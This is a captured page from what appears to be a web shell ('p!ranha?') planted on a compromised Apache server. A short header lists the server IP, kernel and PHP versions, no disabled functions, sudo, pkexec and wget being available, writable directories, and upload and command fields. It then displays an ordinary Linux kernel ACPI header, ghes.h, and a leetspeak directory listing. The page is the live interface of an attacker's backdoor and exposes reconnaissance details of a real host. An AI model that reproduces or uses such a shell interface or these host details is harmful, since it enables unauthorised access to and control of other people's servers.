p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/acpi/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/acpi/ghes.h
#include <acpi/apei.h>
#include <acpi/hed.h>

/*
 * One struct ghes is created for each generic hardware error source.
 * It provides the context for APEI hardware error timer/IRQ/SCI/NMI
 * handler.
 *
 * estatus: memory buffer for error status block, allocated during
 * HEST parsing.
 */
#define GHES_TO_CLEAR		0x0001
#define GHES_EXITING		0x0002

struct ghes {
	struct acpi_hest_generic *generic;
	struct acpi_hest_generic_status *estatus;
	u64 buffer_paddr;
	unsigned long flags;
	union {
		struct list_head list;
		struct timer_list timer;
		unsigned int irq;
	};
};

struct ghes_estatus_node {
	struct llist_node llnode;
	struct acpi_hest_generic *generic;
	struct ghes *ghes;
};

struct ghes_estatus_cache {
	u32 estatus_len;
	atomic_t count;
	struct acpi_hest_generic *generic;
	unsigned long long time_in;
	struct rcu_head rcu;
};

enum {
	GHES_SEV_NO = 0x0,
	GHES_SEV_CORRECTED = 0x1,
	GHES_SEV_RECOVERABLE = 0x2,
	GHES_SEV_PANIC = 0x3,
};

/* From drivers/edac/ghes_edac.c */

#ifdef CONFIG_EDAC_GHES
void ghes_edac_report_mem_error(struct ghes *ghes, int sev,
				struct cper_sec_mem_err *mem_err);

int ghes_edac_register(struct ghes *ghes, struct device *dev);

void ghes_edac_unregister(struct ghes *ghes);

#else
static inline void ghes_edac_report_mem_error(struct ghes *ghes, int sev,
				       struct cper_sec_mem_err *mem_err)
{
}

static inline int ghes_edac_register(struct ghes *ghes, struct device *dev)
{
	return 0;
}

static inline void ghes_edac_unregister(struct ghes *ghes)
{
}
#endif

static inline int acpi_hest_get_version(struct acpi_hest_generic_data *gdata)
{
	return gdata->revision >> 8;
}

static inline void *acpi_hest_get_payload(struct acpi_hest_generic_data *gdata)
{
	if (acpi_hest_get_version(gdata) >= 3)
		return (void *)(((struct acpi_hest_generic_data_v300 *)(gdata)) + 1);

	return gdata + 1;
}

static inline int acpi_hest_get_error_length(struct acpi_hest_generic_data *gdata)
{
	return ((struct acpi_hest_generic_data *)(gdata))->error_data_length;
}

static inline int acpi_hest_get_size(struct acpi_hest_generic_data *gdata)
{
	if (acpi_hest_get_version(gdata) >= 3)
		return sizeof(struct acpi_hest_generic_data_v300);

	return sizeof(struct acpi_hest_generic_data);
}

static inline int acpi_hest_get_record_size(struct acpi_hest_generic_data *gdata)
{
	return (acpi_hest_get_size(gdata) + acpi_hest_get_error_length(gdata));
}

static inline void *acpi_hest_get_next(struct acpi_hest_generic_data *gdata)
{
	return (void *)(gdata) + acpi_hest_get_record_size(gdata);
}
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:09
0 / 0
0755
platform
--
September 29 2025 07:01:09
0 / 0
0755
acbuffer.h
9.829 KB
November 06 2023 09:15:52
0 / 0
0644
acconfig.h
7.993 KB
November 06 2023 09:15:52
0 / 0
0644
acexcep.h
16.965 KB
November 06 2023 09:15:52
0 / 0
0644
acnames.h
3.473 KB
November 06 2023 09:15:52
0 / 0
0644
acoutput.h
16.756 KB
November 06 2023 09:15:52
0 / 0
0644
acpi.h
3.069 KB
November 06 2023 09:15:52
0 / 0
0644
acpi_bus.h
17.805 KB
November 06 2023 09:15:52
0 / 0
0644
acpi_drivers.h
4.869 KB
November 06 2023 09:15:52
0 / 0
0644
acpi_io.h
0.447 KB
November 06 2023 09:15:52
0 / 0
0644
acpi_numa.h
0.455 KB
November 06 2023 09:15:52
0 / 0
0644
acpiosxf.h
11.634 KB
November 06 2023 09:15:52
0 / 0
0644
acpixf.h
21.214 KB
November 06 2023 09:15:52
0 / 0
0644
acrestyp.h
17.52 KB
November 06 2023 09:15:52
0 / 0
0644
actbl.h
18.491 KB
November 06 2023 09:15:52
0 / 0
0644
actbl1.h
34.657 KB
November 06 2023 09:15:52
0 / 0
0644
actbl2.h
38.014 KB
November 06 2023 09:15:52
0 / 0
0644
actbl3.h
15.959 KB
November 06 2023 09:15:52
0 / 0
0644
actypes.h
40.166 KB
November 06 2023 09:15:52
0 / 0
0644
acuuid.h
3.978 KB
November 06 2023 09:15:52
0 / 0
0644
apei.h
1.082 KB
November 06 2023 09:15:52
0 / 0
0644
button.h
0.568 KB
November 06 2023 09:15:52
0 / 0
0644
cppc_acpi.h
3.215 KB
November 06 2023 09:15:52
0 / 0
0644
ghes.h
2.469 KB
November 06 2023 09:15:52
0 / 0
0644
hed.h
0.362 KB
November 06 2023 09:15:52
0 / 0
0644
nfit.h
0.343 KB
November 06 2023 09:15:52
0 / 0
0644
pdc_intel.h
0.985 KB
November 06 2023 09:15:52
0 / 0
0644
processor.h
9.425 KB
November 06 2023 09:15:52
0 / 0
0644
reboot.h
0.158 KB
November 06 2023 09:15:52
0 / 0
0644
video.h
1.577 KB
November 06 2023 09:15:52
0 / 0
0644